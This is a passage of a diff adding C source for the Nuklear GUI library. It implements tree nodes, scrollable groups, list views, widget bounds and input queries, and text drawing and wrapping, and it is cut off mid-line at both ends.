? NK_MINIMIZED : NK_MAXIMIZED; + + /* select correct button style */ + if (*state == NK_MAXIMIZED) { + symbol = style->tab.sym_maximize; + if (type == NK_TREE_TAB) + button = &style->tab.tab_maximize_button; + else button = &style->tab.node_maximize_button; + } else { + symbol = style->tab.sym_minimize; + if (type == NK_TREE_TAB) + button = &style->tab.tab_minimize_button; + else button = &style->tab.node_minimize_button; + } + + {/* draw triangle button */ + sym.w = sym.h = style->font->height; + sym.y = header.y + style->tab.padding.y; + sym.x = header.x + style->tab.padding.x; + nk_do_button_symbol(&ws, &win->buffer, sym, symbol, NK_BUTTON_DEFAULT, + button, 0, style->font); + + if (img) { + /* draw optional image icon */ + sym.x = sym.x + sym.w + 4 * item_spacing.x; + nk_draw_image(&win->buffer, sym, img, nk_white); + sym.w = style->font->height + style->tab.spacing.x;} + } + + {/* draw label */ + struct nk_rect label; + header.w = NK_MAX(header.w, sym.w + item_spacing.x); + label.x = sym.x + sym.w + item_spacing.x; + label.y = sym.y; + label.w = header.w - (sym.w + item_spacing.y + style->tab.indent); + label.h = style->font->height; + text.text = style->tab.text; + text.padding = nk_vec2(0,0); + nk_widget_text(out, label, title, nk_strlen(title), &text, + NK_TEXT_LEFT, style->font);} + + /* increase x-axis cursor widget position pointer */ + if (*state == NK_MAXIMIZED) { + layout->at_x = header.x + (float)*layout->offset_x + style->tab.indent; + layout->bounds.w = NK_MAX(layout->bounds.w, style->tab.indent); + layout->bounds.w -= (style->tab.indent + style->window.padding.x); + layout->row.tree_depth++; + return nk_true; + } else return nk_false; +} +NK_INTERN int +nk_tree_base(struct nk_context *ctx, enum nk_tree_type type, + struct nk_image *img, const char *title, enum nk_collapse_states initial_state, + const char *hash, int len, int line) +{ + struct nk_window *win = ctx->current; + int title_len = 0; + nk_hash tree_hash = 0; + nk_uint *state = 0; + + /* retrieve tree state from internal widget state tables */ + if (!hash) { + title_len = (int)nk_strlen(title); + tree_hash = nk_murmur_hash(title, (int)title_len, (nk_hash)line); + } else tree_hash = nk_murmur_hash(hash, len, (nk_hash)line); + state = nk_find_value(win, tree_hash); + if (!state) { + state = nk_add_value(ctx, win, tree_hash, 0); + *state = initial_state; + } + return nk_tree_state_base(ctx, type, img, title, (enum nk_collapse_states*)state); +} +NK_API int +nk_tree_state_push(struct nk_context *ctx, enum nk_tree_type type, + const char *title, enum nk_collapse_states *state) +{ + return nk_tree_state_base(ctx, type, 0, title, state); +} +NK_API int +nk_tree_state_image_push(struct nk_context *ctx, enum nk_tree_type type, + struct nk_image img, const char *title, enum nk_collapse_states *state) +{ + return nk_tree_state_base(ctx, type, &img, title, state); +} +NK_API void +nk_tree_state_pop(struct nk_context *ctx) +{ + struct nk_window *win = 0; + struct nk_panel *layout = 0; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + layout->at_x -= ctx->style.tab.indent + ctx->style.window.padding.x; + layout->bounds.w += ctx->style.tab.indent + ctx->style.window.padding.x; + NK_ASSERT(layout->row.tree_depth); + layout->row.tree_depth--; +} +NK_API int +nk_tree_push_hashed(struct nk_context *ctx, enum nk_tree_type type, + const char *title, enum nk_collapse_states initial_state, + const char *hash, int len, int line) +{ + return nk_tree_base(ctx, type, 0, title, initial_state, hash, len, line); +} +NK_API int +nk_tree_image_push_hashed(struct nk_context *ctx, enum nk_tree_type type, + struct nk_image img, const char *title, enum nk_collapse_states initial_state, + const char *hash, int len,int seed) +{ + return nk_tree_base(ctx, type, &img, title, initial_state, hash, len, seed); +} +NK_API void +nk_tree_pop(struct nk_context *ctx) +{ + nk_tree_state_pop(ctx); +} +NK_INTERN int +nk_tree_element_image_push_hashed_base(struct nk_context *ctx, enum nk_tree_type type, + struct nk_image *img, const char *title, int title_len, + enum nk_collapse_states *state, int *selected) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_style *style; + struct nk_command_buffer *out; + const struct nk_input *in; + const struct nk_style_button *button; + enum nk_symbol_type symbol; + float row_height; + struct nk_vec2 padding; + + int text_len; + float text_width; + + struct nk_vec2 item_spacing; + struct nk_rect header = {0,0,0,0}; + struct nk_rect sym = {0,0,0,0}; + struct nk_text text; + + nk_flags ws = 0; + enum nk_widget_layout_states widget_state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + /* cache some data */ + win = ctx->current; + layout = win->layout; + out = &win->buffer; + style = &ctx->style; + item_spacing = style->window.spacing; + padding = style->selectable.padding; + + /* calculate header bounds and draw background */ + row_height = style->font->height + 2 * style->tab.padding.y; + nk_layout_set_min_row_height(ctx, row_height); + nk_layout_row_dynamic(ctx, row_height, 1); + nk_layout_reset_min_row_height(ctx); + + widget_state = nk_widget(&header, ctx); + if (type == NK_TREE_TAB) { + const struct nk_style_item *background = &style->tab.background; + if (background->type == NK_STYLE_ITEM_IMAGE) { + nk_draw_image(out, header, &background->data.image, nk_white); + text.background = nk_rgba(0,0,0,0); + } else { + text.background = background->data.color; + nk_fill_rect(out, header, 0, style->tab.border_color); + nk_fill_rect(out, nk_shrink_rect(header, style->tab.border), + style->tab.rounding, background->data.color); + } + } else text.background = style->window.background; + + in = (!(layout->flags & NK_WINDOW_ROM)) ? &ctx->input: 0; + in = (in && widget_state == NK_WIDGET_VALID) ? &ctx->input : 0; + + /* select correct button style */ + if (*state == NK_MAXIMIZED) { + symbol = style->tab.sym_maximize; + if (type == NK_TREE_TAB) + button = &style->tab.tab_maximize_button; + else button = &style->tab.node_maximize_button; + } else { + symbol = style->tab.sym_minimize; + if (type == NK_TREE_TAB) + button = &style->tab.tab_minimize_button; + else button = &style->tab.node_minimize_button; + } + {/* draw triangle button */ + sym.w = sym.h = style->font->height; + sym.y = header.y + style->tab.padding.y; + sym.x = header.x + style->tab.padding.x; + if (nk_do_button_symbol(&ws, &win->buffer, sym, symbol, NK_BUTTON_DEFAULT, button, in, style->font)) + *state = (*state == NK_MAXIMIZED) ? NK_MINIMIZED : NK_MAXIMIZED;} + + /* draw label */ + {nk_flags dummy = 0; + struct nk_rect label; + /* calculate size of the text and tooltip */ + text_len = nk_strlen(title); + text_width = style->font->width(style->font->userdata, style->font->height, title, text_len); + text_width += (4 * padding.x); + + header.w = NK_MAX(header.w, sym.w + item_spacing.x); + label.x = sym.x + sym.w + item_spacing.x; + label.y = sym.y; + label.w = NK_MIN(header.w - (sym.w + item_spacing.y + style->tab.indent), text_width); + label.h = style->font->height; + + if (img) { + nk_do_selectable_image(&dummy, &win->buffer, label, title, title_len, NK_TEXT_LEFT, + selected, img, &style->selectable, in, style->font); + } else nk_do_selectable(&dummy, &win->buffer, label, title, title_len, NK_TEXT_LEFT, + selected, &style->selectable, in, style->font); + } + /* increase x-axis cursor widget position pointer */ + if (*state == NK_MAXIMIZED) { + layout->at_x = header.x + (float)*layout->offset_x + style->tab.indent; + layout->bounds.w = NK_MAX(layout->bounds.w, style->tab.indent); + layout->bounds.w -= (style->tab.indent + style->window.padding.x); + layout->row.tree_depth++; + return nk_true; + } else return nk_false; +} +NK_INTERN int +nk_tree_element_base(struct nk_context *ctx, enum nk_tree_type type, + struct nk_image *img, const char *title, enum nk_collapse_states initial_state, + int *selected, const char *hash, int len, int line) +{ + struct nk_window *win = ctx->current; + int title_len = 0; + nk_hash tree_hash = 0; + nk_uint *state = 0; + + /* retrieve tree state from internal widget state tables */ + if (!hash) { + title_len = (int)nk_strlen(title); + tree_hash = nk_murmur_hash(title, (int)title_len, (nk_hash)line); + } else tree_hash = nk_murmur_hash(hash, len, (nk_hash)line); + state = nk_find_value(win, tree_hash); + if (!state) { + state = nk_add_value(ctx, win, tree_hash, 0); + *state = initial_state; + } return nk_tree_element_image_push_hashed_base(ctx, type, img, title, + nk_strlen(title), (enum nk_collapse_states*)state, selected); +} +NK_API int +nk_tree_element_push_hashed(struct nk_context *ctx, enum nk_tree_type type, + const char *title, enum nk_collapse_states initial_state, + int *selected, const char *hash, int len, int seed) +{ + return nk_tree_element_base(ctx, type, 0, title, initial_state, selected, hash, len, seed); +} +NK_API int +nk_tree_element_image_push_hashed(struct nk_context *ctx, enum nk_tree_type type, + struct nk_image img, const char *title, enum nk_collapse_states initial_state, + int *selected, const char *hash, int len,int seed) +{ + return nk_tree_element_base(ctx, type, &img, title, initial_state, selected, hash, len, seed); +} +NK_API void +nk_tree_element_pop(struct nk_context *ctx) +{ + nk_tree_state_pop(ctx); +} + + + + + +/* =============================================================== + * + * GROUP + * + * ===============================================================*/ +NK_API int +nk_group_scrolled_offset_begin(struct nk_context *ctx, + nk_uint *x_offset, nk_uint *y_offset, const char *title, nk_flags flags) +{ + struct nk_rect bounds; + struct nk_window panel; + struct nk_window *win; + + win = ctx->current; + nk_panel_alloc_space(&bounds, ctx); + {const struct nk_rect *c = &win->layout->clip; + if (!NK_INTERSECT(c->x, c->y, c->w, c->h, bounds.x, bounds.y, bounds.w, bounds.h) && + !(flags & NK_WINDOW_MOVABLE)) { + return 0; + }} + if (win->flags & NK_WINDOW_ROM) + flags |= NK_WINDOW_ROM; + + /* initialize a fake window to create the panel from */ + nk_zero(&panel, sizeof(panel)); + panel.bounds = bounds; + panel.flags = flags; + panel.scrollbar.x = *x_offset; + panel.scrollbar.y = *y_offset; + panel.buffer = win->buffer; + panel.layout = (struct nk_panel*)nk_create_panel(ctx); + ctx->current = &panel; + nk_panel_begin(ctx, (flags & NK_WINDOW_TITLE) ? title: 0, NK_PANEL_GROUP); + + win->buffer = panel.buffer; + win->buffer.clip = panel.layout->clip; + panel.layout->offset_x = x_offset; + panel.layout->offset_y = y_offset; + panel.layout->parent = win->layout; + win->layout = panel.layout; + + ctx->current = win; + if ((panel.layout->flags & NK_WINDOW_CLOSED) || + (panel.layout->flags & NK_WINDOW_MINIMIZED)) + { + nk_flags f = panel.layout->flags; + nk_group_scrolled_end(ctx); + if (f & NK_WINDOW_CLOSED) + return NK_WINDOW_CLOSED; + if (f & NK_WINDOW_MINIMIZED) + return NK_WINDOW_MINIMIZED; + } + return 1; +} +NK_API void +nk_group_scrolled_end(struct nk_context *ctx) +{ + struct nk_window *win; + struct nk_panel *parent; + struct nk_panel *g; + + struct nk_rect clip; + struct nk_window pan; + struct nk_vec2 panel_padding; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) + return; + + /* make sure nk_group_begin was called correctly */ + NK_ASSERT(ctx->current); + win = ctx->current; + NK_ASSERT(win->layout); + g = win->layout; + NK_ASSERT(g->parent); + parent = g->parent; + + /* dummy window */ + nk_zero_struct(pan); + panel_padding = nk_panel_get_padding(&ctx->style, NK_PANEL_GROUP); + pan.bounds.y = g->bounds.y - (g->header_height + g->menu.h); + pan.bounds.x = g->bounds.x - panel_padding.x; + pan.bounds.w = g->bounds.w + 2 * panel_padding.x; + pan.bounds.h = g->bounds.h + g->header_height + g->menu.h; + if (g->flags & NK_WINDOW_BORDER) { + pan.bounds.x -= g->border; + pan.bounds.y -= g->border; + pan.bounds.w += 2*g->border; + pan.bounds.h += 2*g->border; + } + if (!(g->flags & NK_WINDOW_NO_SCROLLBAR)) { + pan.bounds.w += ctx->style.window.scrollbar_size.x; + pan.bounds.h += ctx->style.window.scrollbar_size.y; + } + pan.scrollbar.x = *g->offset_x; + pan.scrollbar.y = *g->offset_y; + pan.flags = g->flags; + pan.buffer = win->buffer; + pan.layout = g; + pan.parent = win; + ctx->current = &pan; + + /* make sure group has correct clipping rectangle */ + nk_unify(&clip, &parent->clip, pan.bounds.x, pan.bounds.y, + pan.bounds.x + pan.bounds.w, pan.bounds.y + pan.bounds.h + panel_padding.x); + nk_push_scissor(&pan.buffer, clip); + nk_end(ctx); + + win->buffer = pan.buffer; + nk_push_scissor(&win->buffer, parent->clip); + ctx->current = win; + win->layout = parent; + g->bounds = pan.bounds; + return; +} +NK_API int +nk_group_scrolled_begin(struct nk_context *ctx, + struct nk_scroll *scroll, const char *title, nk_flags flags) +{ + return nk_group_scrolled_offset_begin(ctx, &scroll->x, &scroll->y, title, flags); +} +NK_API int +nk_group_begin_titled(struct nk_context *ctx, const char *id, + const char *title, nk_flags flags) +{ + int id_len; + nk_hash id_hash; + struct nk_window *win; + nk_uint *x_offset; + nk_uint *y_offset; + + NK_ASSERT(ctx); + NK_ASSERT(id); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout || !id) + return 0; + + /* find persistent group scrollbar value */ + win = ctx->current; + id_len = (int)nk_strlen(id); + id_hash = nk_murmur_hash(id, (int)id_len, NK_PANEL_GROUP); + x_offset = nk_find_value(win, id_hash); + if (!x_offset) { + x_offset = nk_add_value(ctx, win, id_hash, 0); + y_offset = nk_add_value(ctx, win, id_hash+1, 0); + + NK_ASSERT(x_offset); + NK_ASSERT(y_offset); + if (!x_offset || !y_offset) return 0; + *x_offset = *y_offset = 0; + } else y_offset = nk_find_value(win, id_hash+1); + return nk_group_scrolled_offset_begin(ctx, x_offset, y_offset, title, flags); +} +NK_API int +nk_group_begin(struct nk_context *ctx, const char *title, nk_flags flags) +{ + return nk_group_begin_titled(ctx, title, title, flags); +} +NK_API void +nk_group_end(struct nk_context *ctx) +{ + nk_group_scrolled_end(ctx); +} +NK_API void +nk_group_get_scroll(struct nk_context *ctx, const char *id, nk_uint *x_offset, nk_uint *y_offset) +{ + int id_len; + nk_hash id_hash; + struct nk_window *win; + nk_uint *x_offset_ptr; + nk_uint *y_offset_ptr; + + NK_ASSERT(ctx); + NK_ASSERT(id); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout || !id) + return; + + /* find persistent group scrollbar value */ + win = ctx->current; + id_len = (int)nk_strlen(id); + id_hash = nk_murmur_hash(id, (int)id_len, NK_PANEL_GROUP); + x_offset_ptr = nk_find_value(win, id_hash); + if (!x_offset_ptr) { + x_offset_ptr = nk_add_value(ctx, win, id_hash, 0); + y_offset_ptr = nk_add_value(ctx, win, id_hash+1, 0); + + NK_ASSERT(x_offset_ptr); + NK_ASSERT(y_offset_ptr); + if (!x_offset_ptr || !y_offset_ptr) return; + *x_offset_ptr = *y_offset_ptr = 0; + } else y_offset_ptr = nk_find_value(win, id_hash+1); + if (x_offset) + *x_offset = *x_offset_ptr; + if (y_offset) + *y_offset = *y_offset_ptr; +} +NK_API void +nk_group_set_scroll(struct nk_context *ctx, const char *id, nk_uint x_offset, nk_uint y_offset) +{ + int id_len; + nk_hash id_hash; + struct nk_window *win; + nk_uint *x_offset_ptr; + nk_uint *y_offset_ptr; + + NK_ASSERT(ctx); + NK_ASSERT(id); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout || !id) + return; + + /* find persistent group scrollbar value */ + win = ctx->current; + id_len = (int)nk_strlen(id); + id_hash = nk_murmur_hash(id, (int)id_len, NK_PANEL_GROUP); + x_offset_ptr = nk_find_value(win, id_hash); + if (!x_offset_ptr) { + x_offset_ptr = nk_add_value(ctx, win, id_hash, 0); + y_offset_ptr = nk_add_value(ctx, win, id_hash+1, 0); + + NK_ASSERT(x_offset_ptr); + NK_ASSERT(y_offset_ptr); + if (!x_offset_ptr || !y_offset_ptr) return; + *x_offset_ptr = *y_offset_ptr = 0; + } else y_offset_ptr = nk_find_value(win, id_hash+1); + *x_offset_ptr = x_offset; + *y_offset_ptr = y_offset; +} + + + + +/* =============================================================== + * + * LIST VIEW + * + * ===============================================================*/ +NK_API int +nk_list_view_begin(struct nk_context *ctx, struct nk_list_view *view, + const char *title, nk_flags flags, int row_height, int row_count) +{ + int title_len; + nk_hash title_hash; + nk_uint *x_offset; + nk_uint *y_offset; + + int result; + struct nk_window *win; + struct nk_panel *layout; + const struct nk_style *style; + struct nk_vec2 item_spacing; + + NK_ASSERT(ctx); + NK_ASSERT(view); + NK_ASSERT(title); + if (!ctx || !view || !title) return 0; + + win = ctx->current; + style = &ctx->style; + item_spacing = style->window.spacing; + row_height += NK_MAX(0, (int)item_spacing.y); + + /* find persistent list view scrollbar offset */ + title_len = (int)nk_strlen(title); + title_hash = nk_murmur_hash(title, (int)title_len, NK_PANEL_GROUP); + x_offset = nk_find_value(win, title_hash); + if (!x_offset) { + x_offset = nk_add_value(ctx, win, title_hash, 0); + y_offset = nk_add_value(ctx, win, title_hash+1, 0); + + NK_ASSERT(x_offset); + NK_ASSERT(y_offset); + if (!x_offset || !y_offset) return 0; + *x_offset = *y_offset = 0; + } else y_offset = nk_find_value(win, title_hash+1); + view->scroll_value = *y_offset; + view->scroll_pointer = y_offset; + + *y_offset = 0; + result = nk_group_scrolled_offset_begin(ctx, x_offset, y_offset, title, flags); + win = ctx->current; + layout = win->layout; + + view->total_height = row_height * NK_MAX(row_count,1); + view->begin = (int)NK_MAX(((float)view->scroll_value / (float)row_height), 0.0f); + view->count = (int)NK_MAX(nk_iceilf((layout->clip.h)/(float)row_height),0); + view->count = NK_MIN(view->count, row_count - view->begin); + view->end = view->begin + view->count; + view->ctx = ctx; + return result; +} +NK_API void +nk_list_view_end(struct nk_list_view *view) +{ + struct nk_context *ctx; + struct nk_window *win; + struct nk_panel *layout; + + NK_ASSERT(view); + NK_ASSERT(view->ctx); + NK_ASSERT(view->scroll_pointer); + if (!view || !view->ctx) return; + + ctx = view->ctx; + win = ctx->current; + layout = win->layout; + layout->at_y = layout->bounds.y + (float)view->total_height; + *view->scroll_pointer = *view->scroll_pointer + view->scroll_value; + nk_group_end(view->ctx); +} + + + + + +/* =============================================================== + * + * WIDGET + * + * ===============================================================*/ +NK_API struct nk_rect +nk_widget_bounds(struct nk_context *ctx) +{ + struct nk_rect bounds; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) + return nk_rect(0,0,0,0); + nk_layout_peek(&bounds, ctx); + return bounds; +} +NK_API struct nk_vec2 +nk_widget_position(struct nk_context *ctx) +{ + struct nk_rect bounds; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) + return nk_vec2(0,0); + + nk_layout_peek(&bounds, ctx); + return nk_vec2(bounds.x, bounds.y); +} +NK_API struct nk_vec2 +nk_widget_size(struct nk_context *ctx) +{ + struct nk_rect bounds; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) + return nk_vec2(0,0); + + nk_layout_peek(&bounds, ctx); + return nk_vec2(bounds.w, bounds.h); +} +NK_API float +nk_widget_width(struct nk_context *ctx) +{ + struct nk_rect bounds; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) + return 0; + + nk_layout_peek(&bounds, ctx); + return bounds.w; +} +NK_API float +nk_widget_height(struct nk_context *ctx) +{ + struct nk_rect bounds; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) + return 0; + + nk_layout_peek(&bounds, ctx); + return bounds.h; +} +NK_API int +nk_widget_is_hovered(struct nk_context *ctx) +{ + struct nk_rect c, v; + struct nk_rect bounds; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current || ctx->active != ctx->current) + return 0; + + c = ctx->current->layout->clip; + c.x = (float)((int)c.x); + c.y = (float)((int)c.y); + c.w = (float)((int)c.w); + c.h = (float)((int)c.h); + + nk_layout_peek(&bounds, ctx); + nk_unify(&v, &c, bounds.x, bounds.y, bounds.x + bounds.w, bounds.y + bounds.h); + if (!NK_INTERSECT(c.x, c.y, c.w, c.h, bounds.x, bounds.y, bounds.w, bounds.h)) + return 0; + return nk_input_is_mouse_hovering_rect(&ctx->input, bounds); +} +NK_API int +nk_widget_is_mouse_clicked(struct nk_context *ctx, enum nk_buttons btn) +{ + struct nk_rect c, v; + struct nk_rect bounds; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current || ctx->active != ctx->current) + return 0; + + c = ctx->current->layout->clip; + c.x = (float)((int)c.x); + c.y = (float)((int)c.y); + c.w = (float)((int)c.w); + c.h = (float)((int)c.h); + + nk_layout_peek(&bounds, ctx); + nk_unify(&v, &c, bounds.x, bounds.y, bounds.x + bounds.w, bounds.y + bounds.h); + if (!NK_INTERSECT(c.x, c.y, c.w, c.h, bounds.x, bounds.y, bounds.w, bounds.h)) + return 0; + return nk_input_mouse_clicked(&ctx->input, btn, bounds); +} +NK_API int +nk_widget_has_mouse_click_down(struct nk_context *ctx, enum nk_buttons btn, int down) +{ + struct nk_rect c, v; + struct nk_rect bounds; + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current || ctx->active != ctx->current) + return 0; + + c = ctx->current->layout->clip; + c.x = (float)((int)c.x); + c.y = (float)((int)c.y); + c.w = (float)((int)c.w); + c.h = (float)((int)c.h); + + nk_layout_peek(&bounds, ctx); + nk_unify(&v, &c, bounds.x, bounds.y, bounds.x + bounds.w, bounds.y + bounds.h); + if (!NK_INTERSECT(c.x, c.y, c.w, c.h, bounds.x, bounds.y, bounds.w, bounds.h)) + return 0; + return nk_input_has_mouse_click_down_in_rect(&ctx->input, btn, bounds, down); +} +NK_API enum nk_widget_layout_states +nk_widget(struct nk_rect *bounds, const struct nk_context *ctx) +{ + struct nk_rect c, v; + struct nk_window *win; + struct nk_panel *layout; + const struct nk_input *in; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return NK_WIDGET_INVALID; + + /* allocate space and check if the widget needs to be updated and drawn */ + nk_panel_alloc_space(bounds, ctx); + win = ctx->current; + layout = win->layout; + in = &ctx->input; + c = layout->clip; + + /* if one of these triggers you forgot to add an `if` condition around either + a window, group, popup, combobox or contextual menu `begin` and `end` block. + Example: + if (nk_begin(...) {...} nk_end(...); or + if (nk_group_begin(...) { nk_group_end(...);} */ + NK_ASSERT(!(layout->flags & NK_WINDOW_MINIMIZED)); + NK_ASSERT(!(layout->flags & NK_WINDOW_HIDDEN)); + NK_ASSERT(!(layout->flags & NK_WINDOW_CLOSED)); + + /* need to convert to int here to remove floating point errors */ + bounds->x = (float)((int)bounds->x); + bounds->y = (float)((int)bounds->y); + bounds->w = (float)((int)bounds->w); + bounds->h = (float)((int)bounds->h); + + c.x = (float)((int)c.x); + c.y = (float)((int)c.y); + c.w = (float)((int)c.w); + c.h = (float)((int)c.h); + + nk_unify(&v, &c, bounds->x, bounds->y, bounds->x + bounds->w, bounds->y + bounds->h); + if (!NK_INTERSECT(c.x, c.y, c.w, c.h, bounds->x, bounds->y, bounds->w, bounds->h)) + return NK_WIDGET_INVALID; + if (!NK_INBOX(in->mouse.pos.x, in->mouse.pos.y, v.x, v.y, v.w, v.h)) + return NK_WIDGET_ROM; + return NK_WIDGET_VALID; +} +NK_API enum nk_widget_layout_states +nk_widget_fitting(struct nk_rect *bounds, struct nk_context *ctx, + struct nk_vec2 item_padding) +{ + /* update the bounds to stand without padding */ + struct nk_window *win; + struct nk_style *style; + struct nk_panel *layout; + enum nk_widget_layout_states state; + struct nk_vec2 panel_padding; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return NK_WIDGET_INVALID; + + win = ctx->current; + style = &ctx->style; + layout = win->layout; + state = nk_widget(bounds, ctx); + + panel_padding = nk_panel_get_padding(style, layout->type); + if (layout->row.index == 1) { + bounds->w += panel_padding.x; + bounds->x -= panel_padding.x; + } else bounds->x -= item_padding.x; + + if (layout->row.index == layout->row.columns) + bounds->w += panel_padding.x; + else bounds->w += item_padding.x; + return state; +} +NK_API void +nk_spacing(struct nk_context *ctx, int cols) +{ + struct nk_window *win; + struct nk_panel *layout; + struct nk_rect none; + int i, index, rows; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + /* spacing over row boundaries */ + win = ctx->current; + layout = win->layout; + index = (layout->row.index + cols) % layout->row.columns; + rows = (layout->row.index + cols) / layout->row.columns; + if (rows) { + for (i = 0; i < rows; ++i) + nk_panel_alloc_row(ctx, win); + cols = index; + } + /* non table layout need to allocate space */ + if (layout->row.type != NK_LAYOUT_DYNAMIC_FIXED && + layout->row.type != NK_LAYOUT_STATIC_FIXED) { + for (i = 0; i < cols; ++i) + nk_panel_alloc_space(&none, ctx); + } layout->row.index = index; +} + + + + + +/* =============================================================== + * + * TEXT + * + * ===============================================================*/ +NK_LIB void +nk_widget_text(struct nk_command_buffer *o, struct nk_rect b, + const char *string, int len, const struct nk_text *t, + nk_flags a, const struct nk_user_font *f) +{ + struct nk_rect label; + float text_width; + + NK_ASSERT(o); + NK_ASSERT(t); + if (!o || !t) return; + + b.h = NK_MAX(b.h, 2 * t->padding.y); + label.x = 0; label.w = 0; + label.y = b.y + t->padding.y; + label.h = NK_MIN(f->height, b.h - 2 * t->padding.y); + + text_width = f->width(f->userdata, f->height, (const char*)string, len); + text_width += (2.0f * t->padding.x); + + /* align in x-axis */ + if (a & NK_TEXT_ALIGN_LEFT) { + label.x = b.x + t->padding.x; + label.w = NK_MAX(0, b.w - 2 * t->padding.x); + } else if (a & NK_TEXT_ALIGN_CENTERED) { + label.w = NK_MAX(1, 2 * t->padding.x + (float)text_width); + label.x = (b.x + t->padding.x + ((b.w - 2 * t->padding.x) - label.w) / 2); + label.x = NK_MAX(b.x + t->padding.x, label.x); + label.w = NK_MIN(b.x + b.w, label.x + label.w); + if (label.w >= label.x) label.w -= label.x; + } else if (a & NK_TEXT_ALIGN_RIGHT) { + label.x = NK_MAX(b.x + t->padding.x, (b.x + b.w) - (2 * t->padding.x + (float)text_width)); + label.w = (float)text_width + 2 * t->padding.x; + } else return; + + /* align in y-axis */ + if (a & NK_TEXT_ALIGN_MIDDLE) { + label.y = b.y + b.h/2.0f - (float)f->height/2.0f; + label.h = NK_MAX(b.h/2.0f, b.h - (b.h/2.0f + f->height/2.0f)); + } else if (a & NK_TEXT_ALIGN_BOTTOM) { + label.y = b.y + b.h - f->height; + label.h = f->height; + } + nk_draw_text(o, label, (const char*)string, len, f, t->background, t->text); +} +NK_LIB void +nk_widget_text_wrap(struct nk_command_buffer *o, struct nk_rect b, + const char *string, int len, const struct nk_text *t, + const struct nk_user_font *f) +{ + float width; + int glyphs = 0; + int fitting = 0; + int done = 0; + struct nk_rect line; + struct nk_text text; + NK_INTERN nk_rune seperator[] = {' '}; + + NK_ASSERT(o); + NK_ASSERT(t); + if (!o || !t) return; + + text.padding = nk_vec2(0,0); + text.background = t->background; + text.text = t->text; + + b.w = NK_MAX(b.w, 2 * t->padding.x); + b.h = NK_MAX(b.h, 2 * t->padding.y); + b.h = b.h - 2 * t->padding.y; + + line.x = b.x + t->padding.x; + line.y = b.y + t->padding.y; + line.w = b.w - 2 * t->padding.x; + line.h = 2 * t->padding.y + f->height; + + fitting = nk_text_clamp(f, string, len, line.w, &glyphs, &width, seperator,NK_LEN(seperator)); + while (done < len) { + if (!fitting || line.y + line.h >= (b.y + b.h)) break; + nk_widget_text(o, line, &string[done], fitting, &text, NK_TEXT_LEFT, f); + done += fitting; + line.y += f->height + 2 * t->padding.y; + fitting = nk_text_clamp(f, &string[done], len - done, line.w, &glyphs, &width, seperator,NK_LEN(seperator)); + } +} +NK_API void +nk_text_colored(struct nk_context *ctx, const char *str, int len, + nk_flags alignment, struct nk_color color) +{ + struct nk_window *win; + const struct nk_style *style; + + struct nk_vec2 item_padding; + struct nk_rect bounds; + struct nk_text text; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) return; + + win = ctx->current; + style = &ctx->style; + nk_panel_alloc_space(&bounds, ctx); + item_padding = style->text.padding; + + text.padding.x = item_padding.x; + text.padding.y = item_padding.y; + text.background = style->window.background; + text.text = color; + nk_widget_text(&win->buffer, bounds, str, len, &text, alignment, style->font); +} +NK_API void +nk_text_wrap_colored(struct nk_context *ctx, const char *str, + int len, struct nk_color color) +{ + struct nk_window *win; + const struct nk_style *style; + + struct nk_vec2 item_padding; + struct nk_rect bounds; + struct nk_text text; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) return; + + win = ctx->current; + style = &ctx->style; + nk_panel_alloc_space(&bounds, ctx); + item_padding = style->text.padding; + + text.padding.x = item_padding.x; + text.padding.y = item_padding.y; + text.background = style->window.background; + text.text = color; + nk_widget_text_wrap(&win->buffer, bounds, str, len, &text, style->font); +} +#ifdef NK_INCLUDE_STANDARD_VARARGS +NK_API void +nk_labelf_colored(struct nk_context *ctx, nk_flags flags, + struct nk_color color, const char *fmt, ...) +{ + va_list args; + va_start(args, fmt); + nk_labelfv_colored(ctx, flags, color, fmt, args); + va_end(args); +} +NK_API void +nk_labelf_colored_wrap(struct nk_context *ctx, struct nk_color color, + const char *fmt, ...) +{ + va_list args; + va_start(args, fmt); + nk_labelfv_colored_wrap(ctx, color, fmt, args); + va_end(args); +} +NK_API void +nk_labelf(struct nk_context *ctx, nk_flags flags, const char *fmt, ...) +{ + va_list args; + va_start(args, fmt); + nk_labelfv(ctx, flags, fmt, args); + va_end(args); +} +NK_API void +nk_labelf_wrap(struct nk_context *ctx, const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + nk_labelfv_wrap(ctx, fmt, args); + va_end(args); +} +NK_API void +nk_labelfv_colored(struct nk_context *ctx, nk_flags flags, 